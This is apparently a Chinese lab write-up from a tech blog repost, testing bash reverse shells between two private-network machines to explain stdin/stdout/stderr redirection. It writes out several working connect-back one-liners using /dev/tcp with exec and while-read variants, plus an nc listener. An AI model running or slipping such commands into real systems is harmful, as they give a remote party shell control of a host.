[20210908]Reverse Shell with Bash.txt --//昨天无意中看了链接https://blog.csdn.net/cnbird2008/article/details/5330996,里面提到了利用nc打开一个端口,然后在另外的 --//机器重定向当前的bash shell的标准输入0,标准输出1,标准错误2到源端nc的指定端口,从而实现访问服务器的目的,代码很简单,我自 --//己觉得很有意思,测试看看. --//首先该连接应该是转载,我把相关的链接查了一遍,发现原始链接来自: https://www.gnucitizen.org/blog/reverse-shell-with-bash/ --//注解部分,我发现链接: http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/ --//该链接已经无法访问. --//不过我找到如下链接; https://www.commandlinefu.com/commands/view/7907/connect-back-shell-using-bash-built-ins Connect-back shell using Bash built-ins bash -i >& /dev/tcp/IP/PORT 0>&1 Connect-back shell using Bash built-ins Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory. -- /dev/tcp and /dev/udb redirects must be enabled at compile time in Bash. Most Linux distros enable this feature by default but at least Debian is known to disable it. -- http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/ exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0 --//注:我的测试前面加exec不行,我自己最后选择这个方式,代码比较容易读懂,改写如下: --// /bin/bash -i 0</dev/tcp/hostname/port 1>&0 2>&0 truemilk · 2010-03-18 17:25:08 --//我把里面的链接提到的方法测试一遍,自己其中选择比较好的方式,以下我仅仅认为比较好的连接模式. 1.首先测试需要两台机器,千万不要在生产系统做这样的测试!! --//IP如下: 192.168.100.78 --//服务器A 192.168.100.76 --//客户端B --//为了便于后面的说明暂且定义192.168.100.78(服务器A),192.168.100.76(客户端B) --//其中客户端B 192.168.100.76 要求安装nc rpm包. 2.测试: --//在客户端B(192.168.100.76)执行,注意我的版本不知道为什么不能加入-p参数.打开一个端口9999,注意一定不能被别的服务占用. $ nc -l 9999 -vvv --//在服务器A(192.168.100.78)上执行: $ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0 --//首先你安装的bash shell必须支持/dev/tcp模式访问端口,按照前面链接介绍debian编译bash的版本不行. --//bash -i 就是登陆新的bash shell,这样的好处是重新读取环境变量. --//将标准输入0定向到/dev/tcp/192.168.100.76/9999,然后将标准输出1,标准错误2重定向到标准输入0. --//我在这里有点犯浑,我开始以为在服务器A下面输入命令,发现不对,在看客户端B的界面才发现,在客户端B(192.168.100.76)的界面上 --//会出现如下提示: $ nc -l 9999 -vvvv Connection from 192.168.100.78 port 9999 [tcp/distinct] accepted [IP=100.78 ~/xxxx430/testz ] $ --//这样客户端B 已经通过端口9999连接到192.168.100.78.这样开始执行命令了. $ echo $$ echo $$ 33816 --//在客户端B(192.168.100.76)上执行以root用户: # ls -l /proc/33816/fd total 0 lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 0 -> socket:[12492953] lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 1 -> socket:[12492953] lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 2 -> socket:[12492953] lrwx------ 1 oracle oinstall 64 2021-09-08 08:52:09 255 -> socket:[12492953] --//文件句柄0,1,2,255分别执行指向了socket:[12492953]. # lsof -i -P -n | grep 12493330 bash 33816 oracle 0u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED) bash 33816 oracle 1u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED) bash 33816 oracle 2u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED) bash 33816 oracle 255u IPv4 12493330 0t0 TCP 192.168.100.78:28441->192.168.100.76:9999 (ESTABLISHED) --//在客户端B(192.168.100.76)上执行: $ ls -l asasas ls -l asasas ls: asasas: No such file or directory --//标准错误2可以回显. $ ls -l | head -3 ls -l | head -3 total 20936 -rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt# -rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt --//先显示提示行输入的命令,然后执行. $ vi aa1 vi aa1 Vim: Warning: Output is not to a terminal Vim: Warning: Input is not from a terminal ^C --//无法编辑文件.然后直接退出.这个是正常的.重新再来. $ env | grep -i SQLPATH env | grep -i SQLPATH SQLPATH=/home/oracle/sqllaji:/home/oracle/sqllaji/tpt_public_unixmac --//环境变量存在,可以直接在sqlplus下调用目录下的sql语句. --//命令补全不会显示,不过回车显示如下. $ rl rl rladrci rldgmgrl rlog rlogin-cwd rlsql rlwrap rlatopam rletopnm rlogin rlrman rlsqlz $ rl bash: rl: command not found --//上下键命令查询显示如^[[A.不过直接执行倒是正确的,有点盲打的感觉,存在一定风险.例子: $ ls -l | head -3 ls -l | head -3 total 20936 -rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt# -rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt $ ^[[A ls -l | head -3 total 20936 -rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:24:35 #a1.txt# -rw-r--r-- 1 oracle oinstall 19 2019-12-18 11:15:04 a1.txt $ sqlplus -s -l scott/book @ ver1 sqlplus -s -l scott/book @ ver1 PORT_STRING VERSION BANNER ------------------------------ -------------- -------------------------------------------------------------------------------- x86_64/Linux 2.4.xx 11.2.0.4.0 Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production quit --//如果在服务器A(192.168.100.78)上执行如下: $ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 2>&0 --//这样执行的标准输出1保持不变,这样直接服务器A该命令的下面.我不演示了,大家可以执行测试. 3.其他模式: --//在客户端B(192.168.100.76)执行: $ nc -l 9999 -vvv --//在服务器A(192.168.100.78)上执行: $ exec 5<>/dev/tcp/192.168.100.76/9999 $ cat <&5 | while read line; do $line 2>&5 >&5; done --//或者 $ exec 5<>/dev/tcp/192.168.100.76/9999 $ while read line 0<&5; do $line 2>&5 >&5; done --//或者 $ exec 0</dev/tcp/192.168.100.76/9999; exec 1>&0; exec 2>&0; --//或者 $ bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1 --//原始的链接没有2>&1我加上的,后面我发现前面的>&就已经将标准错误2定向到标准错误1,有点多余. --//它有点不同,将标准输出1重定向到/dev/tcp/192.168.100.76/9999,然后将 --//标准输入0,标准错误2重定向到标准输出1.实际上结果都是一样,最终目的都是执行1个socket. --//其它模式的前面3种我不推荐,主要原因没有提示行,没有执行bash -i继承环境变量不建议使用.简单演示: --//在客户端B(192.168.100.76)执行: $ nc -l 9999 -vvv --//在服务器A(192.168.100.78)上执行: $ echo $$ 34223 $ exec 5<>/dev/tcp/192.168.100.76/9999 $ while read line 0<&5; do $line 2>&5 >&5; done --//在客户端B(192.168.100.76)执行: echo $$ $$ echo $SQLPATH $SQLPATH --//显示的信息有点奇怪!!不理解,至少显示变量的内容啊.难道这样的shell与bash shell有什么不同吗? # lsof -i -P -n | grep 9999 bash 34223 oracle 0u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED) bash 34223 oracle 5u IPv4 12268122 0t0 TCP 192.168.100.78:28571->192.168.100.76:9999 (ESTABLISHED) 总结: --//我做了许多测试,感觉如下两者方式最佳,正常情况下估计不会有人这样使用,仅仅扩展学习的思路. --//我自己都没有想到如此简单,就能实现远程访问,对于理解标准输入0,标准输出1,标准错误2有一定帮助. --//在客户端B(192.168.100.76)执行: $ nc -l 9999 -vvv --//在服务器A(192.168.100.78)上执行: $ /bin/bash -i 0</dev/tcp/192.168.100.76/9999 1>&0 2>&0 --//或者 $ /bin/bash -i >& /dev/tcp/192.168.100.76/9999 0>&1 2>&1
[20210908]Reverse Shell with Bash.txt
来源:这里教程网
时间:2026-03-03 16:59:45
作者:
编辑推荐:
下一篇:
相关推荐
-
雷神推出 MIX PRO II 迷你主机:基于 Ultra 200H,玻璃上盖 + ARGB 灯效
2 月 9 日消息,雷神 (THUNDEROBOT) 现已宣布推出基于英
-
制造商 Musnap 推出彩色墨水屏电纸书 Ocean C:支持手写笔、第三方安卓应用
2 月 10 日消息,制造商 Musnap 现已在海外推出一款 Oce
热文推荐
- oracle11g安装 单实例 系统centos7
oracle11g安装 单实例 系统centos7
26-03-03 - Oracle 19c- 19.8应用32242453补丁
Oracle 19c- 19.8应用32242453补丁
26-03-03 - 延迟块清除导致rac节点传输undo header块
延迟块清除导致rac节点传输undo header块
26-03-03 - 怎么给多个视频添加相同的滚动字幕内容呢
怎么给多个视频添加相同的滚动字幕内容呢
26-03-03 - 有什么简单快速获取天猫上商品详情图的方法吗?
有什么简单快速获取天猫上商品详情图的方法吗?
26-03-03 - 商家如何制作互动小游戏活跃气氛 吸引粉丝?
商家如何制作互动小游戏活跃气氛 吸引粉丝?
26-03-03 - kill session ORA-00031
kill session ORA-00031
26-03-03 - 农夫山泉挺赚钱
农夫山泉挺赚钱
26-03-03 - 中通财报:“增收不增利”怪圈难破
中通财报:“增收不增利”怪圈难破
26-03-03 - 【SQL】Oracle批量提交和频繁提交区别测试
【SQL】Oracle批量提交和频繁提交区别测试
26-03-03
